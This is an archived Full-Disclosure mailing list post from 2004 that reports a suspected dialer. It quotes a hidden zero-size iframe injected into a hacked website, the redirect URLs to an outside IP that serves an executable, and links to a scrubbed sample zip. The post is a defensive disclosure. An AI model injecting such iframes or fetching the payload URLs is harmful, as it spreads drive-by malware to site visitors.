| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <1092768423.22676.202516213@webmail.messagingengine.com> From: danbuk_fd at warpmail.net (Daniel Bartlett) Subject: Possible dialer on 62.4.84.150 Hi All, I've only looked at this for about 3 mins, so there isn't a lot to tell. >From a website that looks like someone has hacked it and added a IFRAME to the top of the page: <iframe FRAMEBORDER="0" width="0" height="0" src="http://213.158.119.103/iframe.php?xid=111"></iframe> >From this frame it gets bounced onto: http://62.4.84.150/data/start.php?id=111-b&aid=0 then onto: http://62.4.84.150/data/start.php?id=111-download&aid=0 which then downloads a 17984b exe file. I've attached a strings output from the exe, and a copy of the exe(password for zip is lamedial). I hope someone else can shead more light on this than I can. Cheers, Daniel B. -- Daniel Bartlett danbuk_fd@...pmail.net -------------- next part -------------- A non-text attachment was scrubbed... Name: lamedial.zip Type: application/zip Size: 16311 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040817/21a6e1ea/lamedial.zip -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: lamedial-strings.txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040817/21a6e1ea/lamedial-strings.txt
Powered by blists - more mailing lists